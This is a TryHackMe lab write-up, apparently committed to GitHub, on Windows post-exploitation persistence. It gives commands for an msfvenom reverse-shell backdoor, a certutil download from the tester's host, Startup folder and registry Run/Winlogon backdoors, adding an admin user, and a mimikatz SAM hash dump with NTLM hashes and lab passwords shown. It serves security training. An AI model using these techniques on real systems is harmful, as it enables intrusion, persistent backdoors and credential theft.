Add files via upload

TryHackMe/Persistance.md

@@ -0,0 +1,194 @@
+# TryHackMe-Persistance
+
+>Abdullah Rizwan | 3:06 PM | 3rd November 2020
+
+## What is persistence?
+
+Persistence is a post-exploitation activity used by penetration testers in order to keep access to a system throughout the whole assessment and not to have to re-exploit the target even if the system restarts.
+
+It can be considered that there are two types of persistence. These two types are:
+
+    Low privileged persistence
+    Privileged user persistence
+
+
+### Low privileged user persistence
+
+Low privileged persistence means that the penetration tester gained and uses persistence techniques to keep his access to the target system under a normal user profile/account (a domain user with no administrative rights).
+
+
+### Privileged user persistence
+
+After gaining access to a system, sometimes (because it would be inaccurate to say always), a penetration tester will do privilege escalation in order to gain access to the highest privilege user that can be on a Windows machine (nt authority\system).
+
+After privilege escalation, he will use persistence in order to keep the access he gained.
+
+
+Keeping persistence
+
+Ways of keeping persistence:
+
+    Startup folder persistence
+    Editing registry keys
+    Using scheduled tasks
+    Using BITS
+    Creating a backdoored service
+    Creating another user
+    Backdooring RDP
+
+
+## RDP 
+
+Access the machine through RDP (Remote Desktop Protocol) through the credentials given
+
+```
+tryhackme:tryhackme123
+```
+
+
+<img src="https://imgur.com/C4ygsY5.png"/>
+
+Then click on `Save and Connect`
+
+
+<img src="https://imgur.com/hIiAApg.png"/>
+
+## Msfvenom 
+
+Now create a backdoor through `msfvenom` and use `metasploit` to set a listener on to the port that the backdoor is set 
+
+```
+msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.14.3.143 LHOST=6666 -f exe > backdoor.exe
+```
+<img src="https://imgur.com/0pvMA5U.png"/>
+
+## Metasploit
+
+<img src="https://imgur.com/yf8xl4Y.png"/>
+
+Now host the backdoor on your machine
+
+`python3 -m http.server 80`
+
+And run this on target machine on `cmd` 
+
+`certutil.exe -urlcache -f http://10.14.3.143:80/backdoor.exe backdoor.exe`
+
+<img src="https://imgur.com/WHGRLa6.png"/>
+
+But I didn't get saved on  the target machine so I tried to save it on it's home directory and it worked now start listening on metasploit and execute the backdoor on our target machine
+
+
+But it didn't get worked , so now let's generate another backdoor but instead of specifiying architecture leave it 
+
+
+<img src="https://imgur.com/rgQvRda.png"/>
+
+
+<img src="https://imgur.com/bAgctSI.png"/>
+
+Now this worked !
+
+<img src="https://imgur.com/Hm8xYhj.png"/>
+
+
+### Startup folder persistence
+
+Now we can upload a backdoor that will be executed whenever the system starts up to do that we navigate to
+
+`C:\Users\tryhackme\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` and here upload that backdoor
+
+<img src="https://imgur.com/PIJtzlj.png"/>
+
+<img src="https://imgur.com/Wg0PUa6.png"/>
+
+Every time a user restarts its computer and logs in the backdoor will be executed and Metasploit will receive the connection.
+
+
+### Editing registries
+
+A low privileged user can still edit registries entries in a system , entry that can be edited is 
+
+```
+HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
+```
+On meterpreter shell type `shell` to get a windows cmd and then type this command
+
+`reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\tryhackme\AppData\Roaming\backdoor.exe`
+
+<img src="https://imgur.com/AmiciiN.png"/>
+
+
+
+### Having Administrator Rights
+
+By having high privilege rights we can add another admin user
+
+`net user /add <USER> <PASSWORD>`
+
+This will just a user to add that user in `Administrator` group
+
+`net localgroup Administrators <USER> /add`
+
+### Editing registries
+
+We can also get persistance through adding a registry , when a user logs on to a system `Backdoor` can be invoked
+
+`reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, <PATH_TO_BINARY>" /f`
+
+### Hash Dump
+
+Hash dumping will not run unless you are administrator so let's switch to admin 
+
+`Administrator:Tryhackme123!`
+
+<img src="https://imgur.com/JXNCzh5.png"/>
+
+Now , run `getsystem` and `load kiwi` then run `lsa_dump_sam`
+
+<img src="https://imgur.com/vXOvdMQ.png"/>  
+
+
+```
+Domain : PERSISTENCE                 
+SysKey : 31066436b67d1dfb03c9f249b9aed099                                                                                                           
+Local SID : S-1-5-21-3421978194-83625553-4099171136                       
+
+SAMKey : d0bb192867888f2d94bc148c442c6c7c                                 
+
+RID  : 000001f4 (500)                
+User : Administrator                 
+  Hash NTLM: 52745740e9a05e6195731194f03865ea                             
+
+RID  : 000001f5 (501)                
+User : Guest                         
+
+RID  : 000001f7 (503)                
+User : DefaultAccount                
+
+RID  : 000003e8 (1000)               
+User : joe                           
+  Hash NTLM: 878d8014606cda29677a44efa1353fc7                             
+
+RID  : 000003e9 (1001)               
+User : chris                         
+  Hash NTLM: e0b6050c7280bf4a7bee599cf374fd80                             
+
+RID  : 000003ea (1002)               
+User : tryhackme                     
+  Hash NTLM: 0c7ba4684821cd349e327896d9db4474   
+```
+
+Now let's crack `joe`'s and `chris`'s password hashes
+
+
+#### Chris
+
+<img src="https://imgur.com/XEGhHF2.png"/>
+
+#### Joe
+
+<img src="https://imgur.com/1hjFwTH.png"/>
+
+I used online crackstation to crack these hashes  however they can still be cracked by using `crackstation`'s wordlists or using `seclist` to crack them using `hashcat` or `johntheripper`
+